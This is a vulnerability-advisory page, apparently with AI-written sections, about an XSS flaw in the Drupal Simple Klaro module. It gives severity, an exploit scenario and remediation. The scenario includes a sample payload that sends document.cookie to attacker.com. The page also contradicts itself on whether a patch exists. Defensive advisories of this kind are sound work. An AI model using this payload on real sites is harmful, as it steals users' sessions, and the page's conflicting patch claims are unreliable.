Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L) indicates: Network-accessible attack with low complexity, no privileges required, but user interaction needed (UI:R), with changed scope affecting other systems. The high confidentiality impact (C:H) combined with integrity/availability impacts supports the 8.8 score. However, real-world risk requires context: (1) Exploitation requires convincing users to click a malicious link, reducing automated exploitation probability; (2) Without KEV status confirmation or public POC, this may represent discovered-but-not-yet-exploited vulnerability; (3) EPSS score unavailable from provided data, but XSS vulnerabilities in consent/cookie modules typically score 60-75 percentile due to moderate attack friction; (4) Drupal sites running outdated Simple Klaro versions represent the at-risk population. This is a legitimate medium-to-high priority based on CVSS severity and XSS impact on confidentiality, but NOT a critical emergency without evidence of active exploitation or 0-day status. Organizations should prioritize patching within 30 days. |
| Exploit ScenarioDerived | A malicious actor discovers that the Simple Klaro module's consent banner or configuration UI does not properly escape user input. The attacker crafts a malicious URL containing JavaScript payload in a parameter (e.g., ?consent_msg=<img src=x onerror='fetch("//attacker.com/steal?cookie="+document.cookie)'>). They distribute this link via phishing email or social media targeting users of a vulnerable Drupal site. When a victim clicks the link, the JavaScript executes in their browser context, stealing session cookies, auth tokens, or personally identifiable information displayed on the page. If the site stores user preferences server-side without sanitization, a Stored XSS variant could infect all visitors who load the Klaro consent banner. This is particularly dangerous on sites handling sensitive data (healthcare, finance, government portals) where consent transparency is legally required. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 14, 2026
Stored/Reflected Cross-Site Scripting (XSS) vulnerability in Drupal Simple Klaro module versions before 1.10.0 that fails to properly neutralize user input during web page generation. An unauthenticated remote attacker can inject malicious scripts that execute in victims' browsers with high impact on confidentiality and integrity, though the attack requires user interaction (clicking a malicious link). The vulnerability has a high CVSS score of 8.8 due to its network-based attack vector and broad scope, but real-world exploitation likelihood depends on KEV/EPSS data not provided in available intelligence.
RemediationAI
- action: Immediate Patching; details: Upgrade Drupal Simple Klaro module to version 1.10.0 or later. Check Drupal.org module page for security advisory and update links.
- action: Verification; details: After patching, clear Drupal caches (drush cache:rebuild or via admin UI) and verify module version via /admin/modules or drush status.
- action: Workaround (Temporary); details: If immediate patching is not feasible, disable the Simple Klaro module until patch is applied. Implement alternative cookie consent via other secure modules or hardcoded HTML until remediated.
- action: Code Review; details: Audit any custom Drupal code that integrates with Simple Klaro to ensure downstream sanitization is applied if user data is processed.
- action: Security Headers; details: Implement Content-Security-Policy (CSP) headers to mitigate XSS impact: Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'.
- action: References; details: Consult Drupal Security Advisory: https://www.drupal.org/project/simple_klaro (check security advisories tab) and https://security.drupal.org for official guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The Drupal Simple Klaro module (CPE identifier likely: cpe:2.3:a:drupal:simple_klaro:*:*:*:*:*:*:*:*) is a consent management extension for Drupal that integrates the Klaro.js cookie consent library. The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), indicating the module fails to sanitize or escape user-controlled input before rendering it in HTML context. This allows attackers to inject arbitrary JavaScript code that executes within the security context of the Drupal site. The root cause likely involves inadequate use of Drupal's sanitization APIs (such as XSS::filter() or proper output escaping) when processing Klaro configuration parameters, consent preferences, or related UI elements. Version 0.0.0 through 1.9.x are vulnerable; patching occurred at version 1.10.0.
Know when Simple Klaro gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Simple Klaro allows Cross-Site Scripting (XSS).This issue affects Simple Klaro: from 0.0.0 before 1.10.0.
Executive ViewAI
A Cross-Site Scripting (XSS) vulnerability in Drupal Simple Klaro (versions before 1.10.0) allows attackers to inject malicious scripts that execute in users' browsers, potentially compromising user sessions, stealing credentials, or defacing website content. Organizations using this module should prioritize remediation as no vendor patch is currently available.
Implement Web Application Firewall (WAF) rules to detect and block XSS payloads targeting Simple Klaro endpoints; restrict module access via IP whitelisting or network segmentation; disable the Simple Klaro module if not essential to operations; enable Content Security Policy (CSP) headers to limit script execution scope; monitor access logs for exploitation attempts; consider temporary removal until patch availability is confirmed.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2025-18291
NVD
CVE.org
EPSS
GitHub PoC
Exploit-DB